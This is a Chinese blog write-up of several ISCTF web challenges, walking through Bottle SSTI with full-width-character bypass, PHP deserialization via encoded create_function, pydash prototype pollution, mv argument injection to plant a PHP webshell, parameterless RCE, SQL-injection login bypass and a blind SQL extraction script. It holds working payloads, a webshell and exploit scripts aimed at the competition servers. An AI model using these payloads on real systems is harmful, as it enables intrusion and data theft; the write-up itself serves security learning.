2258 字
11 分钟

ISCTF部分web-Writeup

2025-12-15
浏览量 加载中...

难过的bottle#

500
打开网页,先随便上传一个压缩包看看功能。 一个123.txt文件,里面是123
400
发现有报错,怀疑是ssti,再看题目名字应该是Python Bottle SSTI注入。 把内容改成模板语句

{{7*7}}

700
被过滤了,黑盒不太会啊。看一下源码

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

过滤这么多,不会做了。 网上找资料,找到一个说可以全角字符可以绕过。

https://zhuanlan.zhihu.com/p/14023848669

payload

{{ open('/flag').read() }}

700

Bypass#

源码

<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}

漏洞利用点位于 __destruct() 魔法方法中的可变函数调用:$a("", $b)。而这里是可按的,就可以设置成类似system('ls')执行命令,但是他会先通过check方法进行过滤。这里过滤得比较严格。 绕过思路create_function + 十六进制编码 将$a设置成create_function $b赋值为} $z="system"; $z("ls"); /*。因为要用到system,但是被过滤了,此时就可以转成16进制绕过

# system
\x73\x79\x73\x74\x65\x6d
# cat /flag
\x63\x61\x74\x20\x2f\x66\x6c\x61\x67
#\x2f,这个对应的是(\)。其中有个f也被过滤了,这里转成8进制
\x63\x61\x74\x20\057\x66\154\x61\x67

所以此时$b是

$payload_b = '} $z="' . $str_system . '"; $z("' . $str_cmd . '"); /*';

exp:

<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
$str_system = '\x73\x79\x73\x74\x65\x6d';
$str_cmd = '\x63\x61\x74\x20\057\x66\154\x61\x67';
$payload_b = '} $z="' . $str_system . '"; $z("' . $str_cmd . '"); /*';
# echo $payload_b;
$a = "create_function";
$b = $payload_b;
$obj = new FLAG($a, $b);
$serialized = serialize($obj);
echo urlencode($serialized) . "\n";
?>

700

flag?我就借走了#

根据提示和大概的分析应该和tar和有关,网上搜了下相关的资料,有一个有用的

https://xz.aliyun.com/news/2269

直接构造

400
点击这个flag。会下载一个文件,里面就有flag

Who am I#

前面通过一个修改登录包的type值为1,可以获取管理员权限,里面可以看到源码。

700
源码

from flask import Flask,request,render_template,redirect,url_for
import json
import pydash
app=Flask(__name__)
database={}
data_index=0
name=''
@app.route('/',methods=['GET'])
def index():
return render_template('login.html')
@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')
@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}
def logout():
return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)

借助ai分析是一个原型链染污和ssti注入的。网上也有相应的资料。

https://hadagaga.github.io/2025/04/08/Pydash-set原型链污染漏洞解析/index.html

通过pydash.set_这个函数会造成原型链污染。

pydash.set_(obj,path,value)
  • obj:要操作的目标对象(字典、列表、对象实例等)。
  • path:赋值的路径,可以是字符串(用.分隔层级)、列表 / 元组(包含键 / 索引)。
  • value:要设置的值。

render_template会一个渲染模板文件。

  • obj:要操作的目标对象(字典、列表、对象实例等)。
  • path:赋值的路径,可以是字符串(用.分隔层级)、列表 / 元组(包含键 / 索引)。
  • value:要设置的值。 其他分析就不懂了,直接构造吧
/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/

password这里问的ai

500
然后再请求/impression

/impression?point=flag

500

mv_upload#

拿到源码

<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录
$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];
$message = '';
$filesInTmp = [];
// 创建目标目录
if (!is_dir($targetDir)) {
mkdir($targetDir, 0755, true);
}
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
$uploadedFiles = $_FILES['files'];
foreach ($uploadedFiles['name'] as $index => $filename) {
if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
$message .= "文件 {$filename} 上传失败。<br>";
continue;
}
$tmpName = $uploadedFiles['tmp_name'][$index];
$filename = trim(basename($filename));
if ($filename === '') {
$message .= "文件名无效,跳过。<br>";
continue;
}
$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}
$destination = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $destination)) {
$message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
} else {
$message .= "文件 {$filename} 移动失败。<br>";
}
}
}
// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
$handle = opendir($uploadDir);
if ($handle) {
while (($file = readdir($handle)) !== false) {
if (is_file($uploadDir . $file)) {
$filesInTmp[] = $file;
}
}
closedir($handle);
}
}
// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file}$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>多文件上传服务</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: auto; }
.alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
ul { list-style-type: none; padding: 0; }
li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
</style>
</head>
<body>
<div class="container">
<h2>多文件上传服务</h2>
<?php if ($message): ?>
<div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
<?= $message ?>
</div>
<?php endif; ?>
<form method="POST" enctype="multipart/form-data">
<label for="files">选择文件:</label><br>
<input type="file" name="files[]" id="files" multiple required>
<button type="submit" name="upload">上传到临时目录</button>
</form>
<hr>
<h3>待确认上传文件</h3>
<?php if (empty($filesInTmp)): ?>
<p>暂无待确认上传文件</p>
<?php else: ?>
<ul>
<?php foreach ($filesInTmp as $file): ?>
<li><?= htmlspecialchars($file) ?></li>
<?php endforeach; ?>
</ul>
<form method="POST">
<button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
</form>
<?php endif; ?>
</div>
</body>
</html>

过滤了挺多的,另外几个没过滤了也试了。 然后根据提示应该是和mv相关的。网上看了下资料,也问了下ai。

https://blog.csdn.net/2301_81831423/article/details/144995798

漏洞点:

exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);

mv注入 要用到这两个参数

  • -b: 启用备份模式,当目标文件存在时创建备份
  • -S SUFFIX: 指定备份文件的后缀 payload
  1. 先上传一个名为shll.的webshll
  2. 然后上传一个名为-b
  3. 上传一个名为-Sphp
  4. 然后再上传一遍名为shell.
  5. 最终mv会创建备份文件shell.php

700
然后上传到存储目录,此时就有一个shell.php文件。
700
exp:

#!/usr/bin/env python3
import requests
import random
BASE_URL = "http://challenge.bluesharkinfo.com:28440"
def upload_file(filename, content="x"):
files = {'files[]': (filename, content)}
data = {'upload': '1'}
r = requests.post(BASE_URL + "/", files=files, data=data)
return '已上传' in r.text or '成功' in r.text
def confirm_move():
data = {'confirm_move': '1'}
r = requests.post(BASE_URL + "/", data=data)
return r.text
uid = random.randint(10000, 99999)
shell = '<?php system($_GET["c"]); ?>'
# Step 1: 上传 webshell(文件名以点结尾)
upload_file(f"shell_{uid}.", shell)
confirm_move()
# Step 2: 上传参数文件
upload_file("-b", "") # 启用备份
upload_file("-Sphp", "") # 后缀设为 php(无点绕过黑名单)
# Step 3: 再次上传同名文件触发备份
upload_file(f"shell_{uid}.", shell + " NEW")
confirm_move()
# Step 4: 访问生成的 .php 文件
backup_url = f"{BASE_URL}/upload/shell_{uid}.php"
r = requests.get(backup_url + "?c=cat /flag")
print(f"FLAG: {r.text}")

ezrce#

源码

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
}

无参数RCE,通过http请求头 通过 getallheaders():获取所有HTTP请求标头 然后通过end或者pos去取值

700

flag到底在哪#

dirsearch扫描到admin/login.php

700
提示说必须要用admin登录。爆破了一下用万能密码成功登录

' OR '1'='1

登录进行后可以上传文件,直接上传一句话木马。然后执行命令

700

kaqiWeaponShop#

打开网页在编码Id这里存在注入,然后通过测试发现select、from等这些没有被过滤,而且提示说flag 在 flag 表中的 flag 列。 然后丢给ai写一个脚本。 exp:

#!/usr/bin/env python3
import requests
import re
import string
url = "http://challenge.bluesharkinfo.com:22849/"
def check(condition):
payload = f"(SELECT(flag)FROM(flag)WHERE(id=1)AND({condition}))"
r = requests.get(url, params={"id": payload, "name": "", "p": "1"}, timeout=5)
spans = re.findall(r'<span>(\d+)</span>', r.text)
return '1' not in spans
print("=== Corrected extraction (- instead of _) ===", flush=True)
# 从正确的前缀开始
flag = "ISCTF{"
print(f"Starting: {flag} (len={len(flag)})", flush=True)
# 使用ASCII顺序提取每个字符
for pos in range(len(flag), 43):
found = False
# 从低到高ASCII搜索
for i in range(32, 127):
c = chr(i)
if c in "'\"\\":
continue
test = flag + c
ge = check(f"flag>='{test}'")
if not ge:
# flag < test,前一个字符是正确的
if i > 32:
prev = chr(i-1)
flag += prev
print(f"[{pos}] '{prev}' (ASCII {i-1}) -> {flag}", flush=True)
found = True
break
if not found:
print(f"[{pos}] No char found", flush=True)
break
if flag.endswith("}"):
print("\n[!] Flag complete!", flush=True)
break
print(f"\n{'='*50}", flush=True)
print(f"FLAG: {flag}", flush=True)
print(f"Length: {len(flag)}", flush=True)
print(f"{'='*50}", flush=True)

700

ISCTF部分web-Writeup
https://dnnwl.pages.dev/posts/isctf-wp/
作者
dnw
发布于
2025-12-15
许可协议
Unlicensed
最后更新于 2025-12-15,距今已过 3 天

部分内容可能已过时

评论区

目录